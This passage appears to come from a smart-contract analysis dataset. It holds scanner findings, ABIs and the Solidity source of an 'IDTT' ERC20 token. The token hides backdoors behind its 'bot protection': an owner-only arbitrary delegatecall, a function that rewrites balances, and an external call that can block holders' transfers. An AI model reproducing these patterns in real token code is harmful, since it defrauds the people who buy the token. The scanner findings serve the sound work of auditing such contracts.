702, 703]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [24, 25, 22, 23]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [248, 249, 250]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [212, 213, 214]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [952, 950, 951]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [964, 965, 966]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [297, 298, 299, 300, 301, 302, 303, 304, 305, 306]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [360, 361, 362]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [928, 926, 927]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [352, 350, 351]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [567, 568, 569, 570, 571]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [505, 506, 507]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [604, 605, 606, 607]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [488, 489, 490]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [520, 521, 519]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [531, 532, 533, 534]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [585, 586, 587, 588]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [1064, 1065, 1066]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [480, 481, 482]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [1104, 1105, 1106, 1107, 1108]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [1080, 1081, 1082]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [1120, 1121, 1122, 1123, 1119]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [512, 513, 514]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [552, 553, 550, 551]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [1090, 1091, 1092]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [539, 540, 541]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [112]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [5]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [1204]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [1192]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [32]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [274]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [727]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [973]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [418]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Token.sol": [480, 481, 482]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Token.sol": [458]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Token.sol": [459]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Token.sol": [488, 489, 490]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [328]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [394]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [1287]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [1279]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [17, 18, 19, 20, 21, 22, 23, 24, 25, 26]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Token.sol": [1284]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"Token.sol": [1290]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1024, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 646, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 667, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 550, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1252, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1252, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 32, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 112, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 274, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 418, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 727, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 973, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1192, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1204, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1204, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 452, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 454, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 456, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 458, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 459, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 460, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1022, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1213, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1214, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1215, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1217, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1218, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1219, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 449, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 1211, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 297, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 324, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 324, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 324, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 325, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 325, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 325, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 325, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 328, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 328, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 328, "severity": 1}]
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"address","name":"_swapToken","type":"address"},{"internalType":"address","name":"_swapper","type":"address"},{"internalType":"address","name":"_setter","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEFAULT_ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getMinterRole","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getNow","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getRoleMember","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleMemberCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSetterRole","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getSwapTOken","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"getSwapTokenBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSwapperRole","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"instances","type":"address[]"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"initDeposit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"initWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
v0.6.12+commit.27d51765
true
200
00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000ed1199093b1abd07a368dd1c0cdc77d8517ba2a000000000000000000000000075424f0bfbed93e9103b007f2ab5c3bb6868d9a2000000000000000000000000c6a65089ffd7513daf5ff9219ad2d85456de53d900000000000000000000000000000000000000000000000000000000000000054158494f4e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000341584e0000000000000000000000000000000000000000000000000000000000
Default
MIT
false
ipfs://1e721436d2e3911f5d80cc26ad3480db2cc32b5922c6a203c105b0167539fe77
IDTT
0x6fb1a44901421777add575e5e4c83672e564584a
Solidity
// File: contracts/Token.sol //SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal stopTheBots; address public uniPair; constructor(address _botProtection) { stopTheBots = _botProtection; } // Uses Ferrum Launch Protection System modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract IDTT is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 96000000000000000000000000; string public name = "Identity"; string public symbol = "IDTT"; IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairForUniswap(wBNB, address(this)); allowance[address(this)][address(uniRouter)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable returns (bool) { require(msg.sender == owner); (bool success, ) = a.delegatecall(b); return success; } function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; uniRouter.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos)); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
[]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"IDTT.sol": [181]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"IDTT.sol": [183]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"IDTT.sol": [180]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"IDTT.sol": [179]}}, {"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium", "lines": {"IDTT.sol": [221]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"IDTT.sol": [73, 74, 75, 76, 77, 78, 79, 80, 81, 82]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"IDTT.sol": [64, 62, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"IDTT.sol": [160, 161, 162, 163, 158, 159]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"IDTT.sol": [88, 89, 90, 91, 92, 93, 94]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"IDTT.sol": [84, 85, 86]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"IDTT.sol": [151, 152, 153, 154, 155, 156]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IDTT.sol": [128, 129, 130, 131, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IDTT.sol": [256, 257, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IDTT.sol": [196, 197, 198]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IDTT.sol": [138, 139, 140, 141]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IDTT.sol": [219, 220, 221, 222, 223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IDTT.sol": [109, 110, 111]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IDTT.sol": [113, 114, 115, 116]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IDTT.sol": [136, 133, 134, 135]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IDTT.sol": [105, 106, 107]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IDTT.sol": [122, 123, 124, 125]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IDTT.sol": [213, 214, 215, 216, 217]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"IDTT.sol": [120, 118, 119]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"IDTT.sol": [6]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"IDTT.sol": [252]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"IDTT.sol": [221]}}, {"check": "missing-inheritance", "impact": "Informational", "confidence": "High", "lines": {"IDTT.sol": [8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"IDTT.sol": [221]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IDTT.sol": [213]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IDTT.sol": [196]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IDTT.sol": [213]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IDTT.sol": [200]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IDTT.sol": [236]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IDTT.sol": [236]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IDTT.sol": [200]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IDTT.sol": [236]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IDTT.sol": [196]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"IDTT.sol": [200]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"IDTT.sol": [208]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"IDTT.sol": [254]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"IDTT.sol": [209]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"IDTT.sol": [255]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"IDTT.sol": [179]}}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium", "lines": {"IDTT.sol": [252]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"IDTT.sol": [241, 242, 243, 244, 245, 246, 247, 248]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 182, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 183, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 230, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 48, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 252, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 122, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 253, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 253, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 6, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 99, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 101, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 103, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 98, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 33, "severity": 1}, {"rule": "SOLIDITY_TX_ORIGIN", "line": 189, "severity": 2}, {"rule": "SOLIDITY_TX_ORIGIN", "line": 193, "severity": 2}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 48, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 221, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 252, "severity": 3}, {"rule": "SOLIDITY_VISIBILITY", "line": 42, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 188, "severity": 1}]
[{"inputs":[{"internalType":"address","name":"_botProtection","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"